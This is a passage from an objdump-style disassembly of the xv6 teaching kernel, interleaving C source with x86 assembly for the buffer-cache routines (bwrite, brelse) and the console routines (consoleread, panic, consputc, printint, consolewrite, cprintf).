%ebx 8010017e: e8 6d 1f 00 00 call 801020f0 <iderw> 80100183: 83 c4 10 add $0x10,%esp } return b; } 80100186: 8d 65 f4 lea -0xc(%ebp),%esp 80100189: 89 d8 mov %ebx,%eax 8010018b: 5b pop %ebx 8010018c: 5e pop %esi 8010018d: 5f pop %edi 8010018e: 5d pop %ebp 8010018f: c3 ret release(&bcache.lock); acquiresleep(&b->lock); return b; } } panic("bget: no buffers"); 80100190: 83 ec 0c sub $0xc,%esp 80100193: 68 2e 6f 10 80 push $0x80106f2e 80100198: e8 d3 01 00 00 call 80100370 <panic> 8010019d: 8d 76 00 lea 0x0(%esi),%esi 801001a0 <bwrite>: } // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 10 sub $0x10,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 50 push %eax 801001ae: e8 dd 3f 00 00 call 80104190 <holdingsleep> 801001b3: 83 c4 10 add $0x10,%esp 801001b6: 85 c0 test %eax,%eax 801001b8: 74 0f je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001ba: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bd: 89 5d 08 mov %ebx,0x8(%ebp) } 801001c0: 8b 5d fc mov -0x4(%ebp),%ebx 801001c3: c9 leave bwrite(struct buf *b) { if(!holdingsleep(&b->lock)) panic("bwrite"); b->flags |= B_DIRTY; iderw(b); 801001c4: e9 27 1f 00 00 jmp 801020f0 <iderw> // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { if(!holdingsleep(&b->lock)) panic("bwrite"); 801001c9: 83 ec 0c sub $0xc,%esp 801001cc: 68 3f 6f 10 80 push $0x80106f3f 801001d1: e8 9a 01 00 00 call 80100370 <panic> 801001d6: 8d 76 00 lea 0x0(%esi),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001e8: 83 ec 0c sub $0xc,%esp 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 56 push %esi 801001ef: e8 9c 3f 00 00 call 80104190 <holdingsleep> 801001f4: 83 c4 10 add $0x10,%esp 801001f7: 85 c0 test %eax,%eax 801001f9: 74 66 je 80100261 <brelse+0x81> panic("brelse"); releasesleep(&b->lock); 801001fb: 83 ec 0c sub $0xc,%esp 801001fe: 56 push %esi 801001ff: e8 4c 3f 00 00 call 80104150 <releasesleep> acquire(&bcache.lock); 80100204: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp) 8010020b: e8 30 41 00 00 call 80104340 <acquire> b->refcnt--; 80100210: 8b 43 4c mov 0x4c(%ebx),%eax if (b->refcnt == 0) { 80100213: 83 c4 10 add $0x10,%esp panic("brelse"); releasesleep(&b->lock); acquire(&bcache.lock); b->refcnt--; 80100216: 83 e8 01 sub $0x1,%eax if (b->refcnt == 0) { 80100219: 85 c0 test %eax,%eax panic("brelse"); releasesleep(&b->lock); acquire(&bcache.lock); b->refcnt--; 8010021b: 89 43 4c mov %eax,0x4c(%ebx) if (b->refcnt == 0) { 8010021e: 75 2f jne 8010024f <brelse+0x6f> // no one is waiting for it. b->next->prev = b->prev; 80100220: 8b 43 54 mov 0x54(%ebx),%eax 80100223: 8b 53 50 mov 0x50(%ebx),%edx 80100226: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 80100229: 8b 43 50 mov 0x50(%ebx),%eax 8010022c: 8b 53 54 mov 0x54(%ebx),%edx 8010022f: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100232: a1 30 fd 10 80 mov 0x8010fd30,%eax b->prev = &bcache.head; 80100237: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx) b->refcnt--; if (b->refcnt == 0) { // no one is waiting for it. b->next->prev = b->prev; b->prev->next = b->next; b->next = bcache.head.next; 8010023e: 89 43 54 mov %eax,0x54(%ebx) b->prev = &bcache.head; bcache.head.next->prev = b; 80100241: a1 30 fd 10 80 mov 0x8010fd30,%eax 80100246: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 80100249: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30 } release(&bcache.lock); 8010024f: c7 45 08 e0 b5 10 80 movl $0x8010b5e0,0x8(%ebp) } 80100256: 8d 65 f8 lea -0x8(%ebp),%esp 80100259: 5b pop %ebx 8010025a: 5e pop %esi 8010025b: 5d pop %ebp b->prev = &bcache.head; bcache.head.next->prev = b; bcache.head.next = b; } release(&bcache.lock); 8010025c: e9 8f 41 00 00 jmp 801043f0 <release> // Move to the head of the MRU list. void brelse(struct buf *b) { if(!holdingsleep(&b->lock)) panic("brelse"); 80100261: 83 ec 0c sub $0xc,%esp 80100264: 68 46 6f 10 80 push $0x80106f46 80100269: e8 02 01 00 00 call 80100370 <panic> 8010026e: 66 90 xchg %ax,%ax 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 28 sub $0x28,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 57 push %edi 80100280: e8 cb 14 00 00 call 80101750 <iunlock> target = n; acquire(&cons.lock); 80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028c: e8 af 40 00 00 call 80104340 <acquire> while(n > 0){ 80100291: 8b 5d 10 mov 0x10(%ebp),%ebx 80100294: 83 c4 10 add $0x10,%esp 80100297: 31 c0 xor %eax,%eax 80100299: 85 db test %ebx,%ebx 8010029b: 0f 8e 9a 00 00 00 jle 8010033b <consoleread+0xcb> while(input.r == input.w){ 801002a1: a1 c0 ff 10 80 mov 0x8010ffc0,%eax 801002a6: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax 801002ac: 74 24 je 801002d2 <consoleread+0x62> 801002ae: eb 58 jmp 80100308 <consoleread+0x98> if(myproc()->killed){ release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b0: 83 ec 08 sub $0x8,%esp 801002b3: 68 20 a5 10 80 push $0x8010a520 801002b8: 68 c0 ff 10 80 push $0x8010ffc0 801002bd: e8 6e 3a 00 00 call 80103d30 <sleep> iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ while(input.r == input.w){ 801002c2: a1 c0 ff 10 80 mov 0x8010ffc0,%eax 801002c7: 83 c4 10 add $0x10,%esp 801002ca: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax 801002d0: 75 36 jne 80100308 <consoleread+0x98> if(myproc()->killed){ 801002d2: e8 a9 34 00 00 call 80103780 <myproc> 801002d7: 8b 40 24 mov 0x24(%eax),%eax 801002da: 85 c0 test %eax,%eax 801002dc: 74 d2 je 801002b0 <consoleread+0x40> release(&cons.lock); 801002de: 83 ec 0c sub $0xc,%esp 801002e1: 68 20 a5 10 80 push $0x8010a520 801002e6: e8 05 41 00 00 call 801043f0 <release> ilock(ip); 801002eb: 89 3c 24 mov %edi,(%esp) 801002ee: e8 7d 13 00 00 call 80101670 <ilock> return -1; 801002f3: 83 c4 10 add $0x10,%esp 801002f6: b8 ff ff ff ff mov $0xffffffff,%eax } release(&cons.lock); ilock(ip); return target - n; } 801002fb: 8d 65 f4 lea -0xc(%ebp),%esp 801002fe: 5b pop %ebx 801002ff: 5e pop %esi 80100300: 5f pop %edi 80100301: 5d pop %ebp 80100302: c3 ret 80100303: 90 nop 80100304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ilock(ip); return -1; } sleep(&input.r, &cons.lock); } c = input.buf[input.r++ % INPUT_BUF]; 80100308: 8d 50 01 lea 0x1(%eax),%edx 8010030b: 89 15 c0 ff 10 80 mov %edx,0x8010ffc0 80100311: 89 c2 mov %eax,%edx 80100313: 83 e2 7f and $0x7f,%edx 80100316: 0f be 92 40 ff 10 80 movsbl -0x7fef00c0(%edx),%edx if(c == C('D')){ // EOF 8010031d: 83 fa 04 cmp $0x4,%edx 80100320: 74 39 je 8010035b <consoleread+0xeb> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 80100322: 83 c6 01 add $0x1,%esi --n; 80100325: 83 eb 01 sub $0x1,%ebx if(c == '\n') 80100328: 83 fa 0a cmp $0xa,%edx // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 8010032b: 88 56 ff mov %dl,-0x1(%esi) --n; if(c == '\n') 8010032e: 74 35 je 80100365 <consoleread+0xf5> int c; iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ 80100330: 85 db test %ebx,%ebx 80100332: 0f 85 69 ff ff ff jne 801002a1 <consoleread+0x31> 80100338: 8b 45 10 mov 0x10(%ebp),%eax *dst++ = c; --n; if(c == '\n') break; } release(&cons.lock); 8010033b: 83 ec 0c sub $0xc,%esp 8010033e: 89 45 e4 mov %eax,-0x1c(%ebp) 80100341: 68 20 a5 10 80 push $0x8010a520 80100346: e8 a5 40 00 00 call 801043f0 <release> ilock(ip); 8010034b: 89 3c 24 mov %edi,(%esp) 8010034e: e8 1d 13 00 00 call 80101670 <ilock> return target - n; 80100353: 83 c4 10 add $0x10,%esp 80100356: 8b 45 e4 mov -0x1c(%ebp),%eax 80100359: eb a0 jmp 801002fb <consoleread+0x8b> } sleep(&input.r, &cons.lock); } c = input.buf[input.r++ % INPUT_BUF]; if(c == C('D')){ // EOF if(n < target){ 8010035b: 39 5d 10 cmp %ebx,0x10(%ebp) 8010035e: 76 05 jbe 80100365 <consoleread+0xf5> // Save ^D for next time, to make sure // caller gets a 0-byte result. input.r--; 80100360: a3 c0 ff 10 80 mov %eax,0x8010ffc0 80100365: 8b 45 10 mov 0x10(%ebp),%eax 80100368: 29 d8 sub %ebx,%eax 8010036a: eb cf jmp 8010033b <consoleread+0xcb> 8010036c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100370 <panic>: release(&cons.lock); } void panic(char *s) { 80100370: 55 push %ebp 80100371: 89 e5 mov %esp,%ebp 80100373: 56 push %esi 80100374: 53 push %ebx 80100375: 83 ec 30 sub $0x30,%esp } static inline void cli(void) { asm volatile("cli"); 80100378: fa cli int i; uint pcs[10]; cli(); cons.locking = 0; 80100379: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 80100380: 00 00 00 // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); 80100383: 8d 5d d0 lea -0x30(%ebp),%ebx 80100386: 8d 75 f8 lea -0x8(%ebp),%esi uint pcs[10]; cli(); cons.locking = 0; // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); 80100389: e8 62 23 00 00 call 801026f0 <lapicid> 8010038e: 83 ec 08 sub $0x8,%esp 80100391: 50 push %eax 80100392: 68 4d 6f 10 80 push $0x80106f4d 80100397: e8 c4 02 00 00 call 80100660 <cprintf> cprintf(s); 8010039c: 58 pop %eax 8010039d: ff 75 08 pushl 0x8(%ebp) 801003a0: e8 bb 02 00 00 call 80100660 <cprintf> cprintf("\n"); 801003a5: c7 04 24 bb 78 10 80 movl $0x801078bb,(%esp) 801003ac: e8 af 02 00 00 call 80100660 <cprintf> getcallerpcs(&s, pcs); 801003b1: 5a pop %edx 801003b2: 8d 45 08 lea 0x8(%ebp),%eax 801003b5: 59 pop %ecx 801003b6: 53 push %ebx 801003b7: 50 push %eax 801003b8: e8 43 3e 00 00 call 80104200 <getcallerpcs> 801003bd: 83 c4 10 add $0x10,%esp for(i=0; i<10; i++) cprintf(" %p", pcs[i]); 801003c0: 83 ec 08 sub $0x8,%esp 801003c3: ff 33 pushl (%ebx) 801003c5: 83 c3 04 add $0x4,%ebx 801003c8: 68 61 6f 10 80 push $0x80106f61 801003cd: e8 8e 02 00 00 call 80100660 <cprintf> // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); for(i=0; i<10; i++) 801003d2: 83 c4 10 add $0x10,%esp 801003d5: 39 f3 cmp %esi,%ebx 801003d7: 75 e7 jne 801003c0 <panic+0x50> cprintf(" %p", pcs[i]); panicked = 1; // freeze other CPU 801003d9: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 801003e0: 00 00 00 801003e3: eb fe jmp 801003e3 <panic+0x73> 801003e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801003e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801003f0 <consputc>: } void consputc(int c) { if(panicked){ 801003f0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx 801003f6: 85 d2 test %edx,%edx 801003f8: 74 06 je 80100400 <consputc+0x10> 801003fa: fa cli 801003fb: eb fe jmp 801003fb <consputc+0xb> 801003fd: 8d 76 00 lea 0x0(%esi),%esi crt[pos] = ' ' | 0x0700; } void consputc(int c) { 80100400: 55 push %ebp 80100401: 89 e5 mov %esp,%ebp 80100403: 57 push %edi 80100404: 56 push %esi 80100405: 53 push %ebx 80100406: 89 c3 mov %eax,%ebx 80100408: 83 ec 0c sub $0xc,%esp cli(); for(;;) ; } if(c == BACKSPACE){ 8010040b: 3d 00 01 00 00 cmp $0x100,%eax 80100410: 0f 84 b8 00 00 00 je 801004ce <consputc+0xde> uartputc('\b'); uartputc(' '); uartputc('\b'); } else uartputc(c); 80100416: 83 ec 0c sub $0xc,%esp 80100419: 50 push %eax 8010041a: e8 c1 56 00 00 call 80105ae0 <uartputc> 8010041f: 83 c4 10 add $0x10,%esp } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100422: bf d4 03 00 00 mov $0x3d4,%edi 80100427: b8 0e 00 00 00 mov $0xe,%eax 8010042c: 89 fa mov %edi,%edx 8010042e: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010042f: be d5 03 00 00 mov $0x3d5,%esi 80100434: 89 f2 mov %esi,%edx 80100436: ec in (%dx),%al { int pos; // Cursor position: col + 80*row. outb(CRTPORT, 14); pos = inb(CRTPORT+1) << 8; 80100437: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010043a: 89 fa mov %edi,%edx 8010043c: c1 e0 08 shl $0x8,%eax 8010043f: 89 c1 mov %eax,%ecx 80100441: b8 0f 00 00 00 mov $0xf,%eax 80100446: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100447: 89 f2 mov %esi,%edx 80100449: ec in (%dx),%al outb(CRTPORT, 15); pos |= inb(CRTPORT+1); 8010044a: 0f b6 c0 movzbl %al,%eax 8010044d: 09 c8 or %ecx,%eax if(c == '\n') 8010044f: 83 fb 0a cmp $0xa,%ebx 80100452: 0f 84 0b 01 00 00 je 80100563 <consputc+0x173> pos += 80 - pos%80; else if(c == BACKSPACE){ 80100458: 81 fb 00 01 00 00 cmp $0x100,%ebx 8010045e: 0f 84 e6 00 00 00 je 8010054a <consputc+0x15a> if(pos > 0) --pos; } else crt[pos++] = (c&0xff) | 0x0700; // black on white 80100464: 0f b6 d3 movzbl %bl,%edx 80100467: 8d 78 01 lea 0x1(%eax),%edi 8010046a: 80 ce 07 or $0x7,%dh 8010046d: 66 89 94 00 00 80 0b mov %dx,-0x7ff48000(%eax,%eax,1) 80100474: 80 if(pos < 0 || pos > 25*80) 80100475: 81 ff d0 07 00 00 cmp $0x7d0,%edi 8010047b: 0f 8f bc 00 00 00 jg 8010053d <consputc+0x14d> panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. 80100481: 81 ff 7f 07 00 00 cmp $0x77f,%edi 80100487: 7f 6f jg 801004f8 <consputc+0x108> 80100489: 89 f8 mov %edi,%eax 8010048b: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx 80100492: 89 fb mov %edi,%ebx 80100494: c1 e8 08 shr $0x8,%eax 80100497: 89 c6 mov %eax,%esi } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100499: bf d4 03 00 00 mov $0x3d4,%edi 8010049e: b8 0e 00 00 00 mov $0xe,%eax 801004a3: 89 fa mov %edi,%edx 801004a5: ee out %al,(%dx) 801004a6: ba d5 03 00 00 mov $0x3d5,%edx 801004ab: 89 f0 mov %esi,%eax 801004ad: ee out %al,(%dx) 801004ae: b8 0f 00 00 00 mov $0xf,%eax 801004b3: 89 fa mov %edi,%edx 801004b5: ee out %al,(%dx) 801004b6: ba d5 03 00 00 mov $0x3d5,%edx 801004bb: 89 d8 mov %ebx,%eax 801004bd: ee out %al,(%dx) outb(CRTPORT, 14); outb(CRTPORT+1, pos>>8); outb(CRTPORT, 15); outb(CRTPORT+1, pos); crt[pos] = ' ' | 0x0700; 801004be: b8 20 07 00 00 mov $0x720,%eax 801004c3: 66 89 01 mov %ax,(%ecx) if(c == BACKSPACE){ uartputc('\b'); uartputc(' '); uartputc('\b'); } else uartputc(c); cgaputc(c); } 801004c6: 8d 65 f4 lea -0xc(%ebp),%esp 801004c9: 5b pop %ebx 801004ca: 5e pop %esi 801004cb: 5f pop %edi 801004cc: 5d pop %ebp 801004cd: c3 ret for(;;) ; } if(c == BACKSPACE){ uartputc('\b'); uartputc(' '); uartputc('\b'); 801004ce: 83 ec 0c sub $0xc,%esp 801004d1: 6a 08 push $0x8 801004d3: e8 08 56 00 00 call 80105ae0 <uartputc> 801004d8: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004df: e8 fc 55 00 00 call 80105ae0 <uartputc> 801004e4: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004eb: e8 f0 55 00 00 call 80105ae0 <uartputc> 801004f0: 83 c4 10 add $0x10,%esp 801004f3: e9 2a ff ff ff jmp 80100422 <consputc+0x32> if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004f8: 83 ec 04 sub $0x4,%esp pos -= 80; 801004fb: 8d 5f b0 lea -0x50(%edi),%ebx if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004fe: 68 60 0e 00 00 push $0xe60 80100503: 68 a0 80 0b 80 push $0x800b80a0 80100508: 68 00 80 0b 80 push $0x800b8000 pos -= 80; memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 8010050d: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 80100514: e8 d7 3f 00 00 call 801044f0 <memmove> pos -= 80; memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100519: b8 80 07 00 00 mov $0x780,%eax 8010051e: 83 c4 0c add $0xc,%esp 80100521: 29 d8 sub %ebx,%eax 80100523: 01 c0 add %eax,%eax 80100525: 50 push %eax 80100526: 6a 00 push $0x0 80100528: 56 push %esi 80100529: e8 12 3f 00 00 call 80104440 <memset> 8010052e: 89 f1 mov %esi,%ecx 80100530: 83 c4 10 add $0x10,%esp 80100533: be 07 00 00 00 mov $0x7,%esi 80100538: e9 5c ff ff ff jmp 80100499 <consputc+0xa9> if(pos > 0) --pos; } else crt[pos++] = (c&0xff) | 0x0700; // black on white if(pos < 0 || pos > 25*80) panic("pos under/overflow"); 8010053d: 83 ec 0c sub $0xc,%esp 80100540: 68 65 6f 10 80 push $0x80106f65 80100545: e8 26 fe ff ff call 80100370 <panic> pos |= inb(CRTPORT+1); if(c == '\n') pos += 80 - pos%80; else if(c == BACKSPACE){ if(pos > 0) --pos; 8010054a: 85 c0 test %eax,%eax 8010054c: 8d 78 ff lea -0x1(%eax),%edi 8010054f: 0f 85 20 ff ff ff jne 80100475 <consputc+0x85> 80100555: b9 00 80 0b 80 mov $0x800b8000,%ecx 8010055a: 31 db xor %ebx,%ebx 8010055c: 31 f6 xor %esi,%esi 8010055e: e9 36 ff ff ff jmp 80100499 <consputc+0xa9> pos = inb(CRTPORT+1) << 8; outb(CRTPORT, 15); pos |= inb(CRTPORT+1); if(c == '\n') pos += 80 - pos%80; 80100563: ba 67 66 66 66 mov $0x66666667,%edx 80100568: f7 ea imul %edx 8010056a: 89 d0 mov %edx,%eax 8010056c: c1 e8 05 shr $0x5,%eax 8010056f: 8d 04 80 lea (%eax,%eax,4),%eax 80100572: c1 e0 04 shl $0x4,%eax 80100575: 8d 78 50 lea 0x50(%eax),%edi 80100578: e9 f8 fe ff ff jmp 80100475 <consputc+0x85> 8010057d: 8d 76 00 lea 0x0(%esi),%esi 80100580 <printint>: int locking; } cons; static void printint(int xx, int base, int sign) { 80100580: 55 push %ebp 80100581: 89 e5 mov %esp,%ebp 80100583: 57 push %edi 80100584: 56 push %esi 80100585: 53 push %ebx 80100586: 89 d6 mov %edx,%esi 80100588: 83 ec 2c sub $0x2c,%esp static char digits[] = "0123456789abcdef"; char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 8010058b: 85 c9 test %ecx,%ecx int locking; } cons; static void printint(int xx, int base, int sign) { 8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp) static char digits[] = "0123456789abcdef"; char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 80100590: 74 0c je 8010059e <printint+0x1e> 80100592: 89 c7 mov %eax,%edi 80100594: c1 ef 1f shr $0x1f,%edi 80100597: 85 c0 test %eax,%eax 80100599: 89 7d d4 mov %edi,-0x2c(%ebp) 8010059c: 78 51 js 801005ef <printint+0x6f> x = -xx; else x = xx; i = 0; 8010059e: 31 ff xor %edi,%edi 801005a0: 8d 5d d7 lea -0x29(%ebp),%ebx 801005a3: eb 05 jmp 801005aa <printint+0x2a> 801005a5: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 801005a8: 89 cf mov %ecx,%edi 801005aa: 31 d2 xor %edx,%edx 801005ac: 8d 4f 01 lea 0x1(%edi),%ecx 801005af: f7 f6 div %esi 801005b1: 0f b6 92 90 6f 10 80 movzbl -0x7fef9070(%edx),%edx }while((x /= base) != 0); 801005b8: 85 c0 test %eax,%eax else x = xx; i = 0; do{ buf[i++] = digits[x % base]; 801005ba: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 801005bd: 75 e9 jne 801005a8 <printint+0x28> if(sign) 801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax 801005c2: 85 c0 test %eax,%eax 801005c4: 74 08 je 801005ce <printint+0x4e> buf[i++] = '-'; 801005c6: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 801005cb: 8d 4f 02 lea 0x2(%edi),%ecx 801005ce: 8d 74 0d d7 lea -0x29(%ebp,%ecx,1),%esi 801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while(--i >= 0) consputc(buf[i]); 801005d8: 0f be 06 movsbl (%esi),%eax 801005db: 83 ee 01 sub $0x1,%esi 801005de: e8 0d fe ff ff call 801003f0 <consputc> }while((x /= base) != 0); if(sign) buf[i++] = '-'; while(--i >= 0) 801005e3: 39 de cmp %ebx,%esi 801005e5: 75 f1 jne 801005d8 <printint+0x58> consputc(buf[i]); } 801005e7: 83 c4 2c add $0x2c,%esp 801005ea: 5b pop %ebx 801005eb: 5e pop %esi 801005ec: 5f pop %edi 801005ed: 5d pop %ebp 801005ee: c3 ret char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) x = -xx; 801005ef: f7 d8 neg %eax 801005f1: eb ab jmp 8010059e <printint+0x1e> 801005f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100600 <consolewrite>: return target - n; } int consolewrite(struct inode *ip, char *buf, int n) { 80100600: 55 push %ebp 80100601: 89 e5 mov %esp,%ebp 80100603: 57 push %edi 80100604: 56 push %esi 80100605: 53 push %ebx 80100606: 83 ec 18 sub $0x18,%esp int i; iunlock(ip); 80100609: ff 75 08 pushl 0x8(%ebp) return target - n; } int consolewrite(struct inode *ip, char *buf, int n) { 8010060c: 8b 75 10 mov 0x10(%ebp),%esi int i; iunlock(ip); 8010060f: e8 3c 11 00 00 call 80101750 <iunlock> acquire(&cons.lock); 80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010061b: e8 20 3d 00 00 call 80104340 <acquire> 80100620: 8b 7d 0c mov 0xc(%ebp),%edi for(i = 0; i < n; i++) 80100623: 83 c4 10 add $0x10,%esp 80100626: 85 f6 test %esi,%esi 80100628: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010062b: 7e 12 jle 8010063f <consolewrite+0x3f> 8010062d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100630: 0f b6 07 movzbl (%edi),%eax 80100633: 83 c7 01 add $0x1,%edi 80100636: e8 b5 fd ff ff call 801003f0 <consputc> { int i; iunlock(ip); acquire(&cons.lock); for(i = 0; i < n; i++) 8010063b: 39 df cmp %ebx,%edi 8010063d: 75 f1 jne 80100630 <consolewrite+0x30> consputc(buf[i] & 0xff); release(&cons.lock); 8010063f: 83 ec 0c sub $0xc,%esp 80100642: 68 20 a5 10 80 push $0x8010a520 80100647: e8 a4 3d 00 00 call 801043f0 <release> ilock(ip); 8010064c: 58 pop %eax 8010064d: ff 75 08 pushl 0x8(%ebp) 80100650: e8 1b 10 00 00 call 80101670 <ilock> return n; } 80100655: 8d 65 f4 lea -0xc(%ebp),%esp 80100658: 89 f0 mov %esi,%eax 8010065a: 5b pop %ebx 8010065b: 5e pop %esi 8010065c: 5f pop %edi 8010065d: 5d pop %ebp 8010065e: c3 ret 8010065f: 90 nop 80100660 <cprintf>: //PAGEBREAK: 50 // Print to the console. only understands %d, %x, %p, %s. void cprintf(char *fmt, ...) { 80100660: 55 push %ebp 80100661: 89 e5 mov %esp,%ebp 80100663: 57 push %edi 80100664: 56 push %esi 80100665: 53 push %ebx 80100666: 83 ec 1c sub $0x1c,%esp int i, c, locking; uint *argp; char *s; locking = cons.locking; 80100669: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010066e: 85 c0 test %eax,%eax { int i, c, locking; uint *argp; char *s; locking = cons.locking; 80100670: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 80100673: 0f 85 47 01 00 00 jne 801007c0 <cprintf+0x160> acquire(&cons.lock); if (fmt == 0) 80100679: 8b 45 08 mov 0x8(%ebp),%eax 8010067c: 85 c0 test %eax,%eax 8010067e: 89 c1 mov %eax,%ecx 80100680: 0f 84 4f 01 00 00 je 801007d5 <cprintf+0x175> panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100686: 0f b6 00 movzbl (%eax),%eax 80100689: 31 db xor %ebx,%ebx 8010068b: 8d 75 0c lea 0xc(%ebp),%esi 8010068e: 89 cf mov %ecx,%edi 80100690: 85 c0 test %eax,%eax 80100692: 75 55 jne 801006e9 <cprintf+0x89> 80100694: eb 68 jmp 801006fe <cprintf+0x9e> 80100696: 8d 76 00 lea 0x0(%esi),%esi 80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(c != '%'){ consputc(c); continue; } c = fmt[++i] & 0xff; 801006a0: 83 c3 01 add $0x1,%ebx 801006a3: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx if(c == 0) 801006a7: 85 d2 test %edx,%edx 801006a9: 74 53 je 801006fe <cprintf+0x9e> break; switch(c){ 801006ab: 83 fa 70 cmp $0x70,%edx 801006ae: 74 7a je 8010072a <cprintf+0xca> 801006b0: 7f 6e jg 80100720 <cprintf+0xc0> 801006b2: 83 fa 25 cmp $0x25,%edx 801006b5: 0f 84 ad 00 00 00 je 80100768 <cprintf+0x108> 801006bb: 83 fa 64 cmp $0x64,%edx 801006be: 0f 85 84 00 00 00 jne 80100748 <cprintf+0xe8> case 'd': printint(*argp++, 10, 1); 801006c4: 8d 46 04 lea 0x4(%esi),%eax 801006c7: b9 01 00 00 00 mov $0x1,%ecx 801006cc: ba 0a 00 00 00 mov $0xa,%edx 801006d1: 89 45 e4 mov %eax,-0x1c(%ebp) 801006d4: 8b 06 mov (%esi),%eax 801006d6: e8 a5 fe ff ff call 80100580 <printint> 801006db: 8b 75 e4 mov -0x1c(%ebp),%esi if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006de: 83 c3 01 add $0x1,%ebx 801006e1: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006e5: 85 c0 test %eax,%eax 801006e7: 74 15 je 801006fe <cprintf+0x9e> if(c != '%'){ 801006e9: 83 f8 25 cmp $0x25,%eax 801006ec: 74 b2 je 